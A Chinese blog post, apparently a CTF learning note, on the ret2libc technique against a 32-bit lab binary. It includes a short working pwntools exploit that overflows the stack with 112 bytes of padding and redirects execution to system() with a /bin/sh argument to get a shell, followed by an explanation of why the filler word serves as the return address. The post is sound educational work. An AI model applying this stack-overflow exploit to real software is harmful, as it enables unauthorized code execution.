【PWN】Ret2libc
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2libc
1. 有system有binsh
这种好弄,直接
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat([b'a' * 112, system_plt, b'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
转载自lexsd6师傅)

在溢出数据后,使用libc库中system函数的地址覆盖掉原本的返回地址(这样原函数返回的时候会转而调用system函数),然后跟着是返回地址、参数。所以我们的system后加4个字符(‘p32(0)’)在图中的‘Filler’的位置指代是返回地址。
那么跟的问题也来了,为什么Filler’的位置(‘p(0)’)指代是返回地址?为什么参数跟在返回地址后面?
正常情况下,我们是通过call指令进行函数调用的,因此在进入到system函数之前,call指令已经通过push EIP将其返回地址push到栈帧中了,所以在正常情况下ret指令pop到EIP的数据就是之前call指令push到栈帧的数据,也就是说两者是成对的。但是在我们的利用漏洞攻击中,直接通过覆盖EIP地址跳转到了system函数,而并没有经过call调用,也即是没有push EIP的操作,但是system函数却照常进行了ret指令的pop EIP操作。此时的ESP指向了Filler,所以根据栈的‘后进先出’的原则在栈顶(ESP)的Filler会被pop出保存在EIP中。而EIP作用是保存的是返回地址,所以Filler就成了返回地址。

同时我们在进行漏洞攻击中,与正常函数相比就只少了‘进入到system函数之前,call指令已经通过push EIP将其返回地址push到栈帧中’这一步骤,因此参数还是正常的跟在返回地址后面。
【PWN】Ret2libc的更多相关文章
- 【pwn】学pwn日记——栈学习(持续更新)
[pwn]学pwn日记--栈学习(持续更新) 前言 从8.2开始系统性学习pwn,在此之前,学习了部分汇编指令以及32位c语言程序的堆栈图及函数调用. 学习视频链接:XMCVE 2020 CTF Pw ...
- 【pwn】DASCTF Sept 九月赛
[pwn]DASCTF Sept 月赛 1.hehepwn 先查看保护,栈可执行,想到shellcode 这题需要注意shellcode的写法 拖入ida中分析 一直以为iso scanf不能栈溢出, ...
- 【pwn】V&N2020 公开赛 simpleHeap
[pwn]V&N2020 公开赛 simpleHeap 1.静态分析 首先libc版本是ubuntu16的2.23版本,可以去buu的资源处下载 然后checksec一下,保护全开 拖入IDA ...
- 【pwn】学pwn日记(堆结构学习)
[pwn]学pwn日记(堆结构学习) 1.什么是堆? 堆是下图中绿色的部分,而它上面的橙色部分则是堆管理器 我们都知道栈的从高内存向低内存扩展的,而堆是相反的,它是由低内存向高内存扩展的 堆管理器的作 ...
- 【pwn】攻防世界 pwn新手区wp
[pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...
- 【PWN】初见BROP
前言|与BROP的相遇 第一次BROP,它让我觉得pwn,或者说网安很妙,也很折磨 在遇到它之前,之前接触的题目都是简单的栈溢出,感觉没有啥有趣的,很简单,找gadget溢出就可以,一切都看得见 可遇 ...
- 【NOIP2016】Day1 T3 换教室(期望DP)
题目背景 NOIP2016 提高组 Day1 T3 题目描述 对于刚上大学的牛牛来说,他面临的第一个问题是如何根据实际情况申请合适的课程. 在可以选择的课程中,有 2n 节课程安排在 n 个时间段上. ...
- 【wp】2020XCTF_逆向
前几天的XCTF最后一场终于打完了,三场比赛下来对逆向部分的大概感觉是从第一场的啥都不会做(一道lua+一道apk)到后来的终于能有参与度,至少后两场的题目都是pc逆向,虽然特殊架构但好歹能做(tcl ...
- 【reverse】逆向7 堆栈图
[reverse]逆向7 堆栈图 前言 本章就是开始画堆栈图来打基础拉,堆栈熟悉了之后就可以开始C语言的逆向了. 这一章使用的exe文件,我已经上传到了我的个人网盘中,点击下载 1.准备工作 先看这张 ...
- Python高手之路【六】python基础之字符串格式化
Python的字符串格式化有两种方式: 百分号方式.format方式 百分号的方式相对来说比较老,而format方式则是比较先进的方式,企图替换古老的方式,目前两者并存.[PEP-3101] This ...
随机推荐
- JVM垃圾回收为什么要分代
分代的垃圾回收策略,是基于不同对象的生命周期不一样: 绝大多数对象都是朝生夕灭; 熬过越多次垃圾收集过程的对象就越难以消亡; 跨代引用相对于同代引用来说仅占极少数. 因此,不同生命周期的对象可 ...
- 使用 Certbot 申请 SSL 证书
Certbot 可以用于从 Let's Encrypt 自动申请.安装.更新免费的 HTTPS 证书(默认只有3个月有效期,可使用脚本自动续期). 1.安装 Certbot Linux:apt ins ...
- 洛谷 P5048 [Ynoi2019 模拟赛] Yuno loves sqrt technology III
洛谷 P5048 [Ynoi2019 模拟赛] Yuno loves sqrt technology III 题目描述 给你一个长为 n 的序列 a,m 次询问,每次查询一个区间的众数的出现次数,强制 ...
- 「Log」做题记录 2024.1.1-2024.1.28
\(2024.1.1-2024.1.7\) \(\color{blueviolet}{P1501}\) LCT 板子,链加链乘查询链和,断边加边. \(\color{black}{P4332}\) L ...
- 一文搞懂K8s中的RBAC认证授权
概述 官方文档: https://kubernetes.io/zh-cn/docs/reference/access-authn-authz/authorization/ https://kubern ...
- C# Model对象转DataTable
https://blog.csdn.net/a11112244444/article/details/78921200 https://www.cnblogs.com/chongde/articles ...
- C# HttpWebRequest 请求返回 The remote server returned an error: (400) Bad Request.
可以看下他的响应Body catch (WebException ex) { if (ex.Status == WebExceptionStatus ...
- SQL 字符串逗号【,】分割去除重复
DROP FUNCTION GetDistinctcreate function GetDistinct(@str varchar(1000))returns varchar(1000)asBEGIN ...
- 如何把数据库中的多个关联字段快速生成思维导图(excel如何将内容快速生成思维导图)
本次记录绝对干货 一:要求 今天遇到的需求,又是一件费力的活,要求如下:数据库中有三个字段,分别是一级分类,二级分类,三级分类,三个字段是级别关系,三级分类一共有上百个,现要求用思维导图的方式展示出来 ...
- SpringBoot--Profile你用对了吗
所谓Profile,就是一组配置环境,各种程序组件的合集. 实际开发中,经常要在不同的环境间切换,比如,开发时应用的是开发场的部署环境:测试时,用的是测试场的部署环境:上线时,用的是产品场的部署环境. ...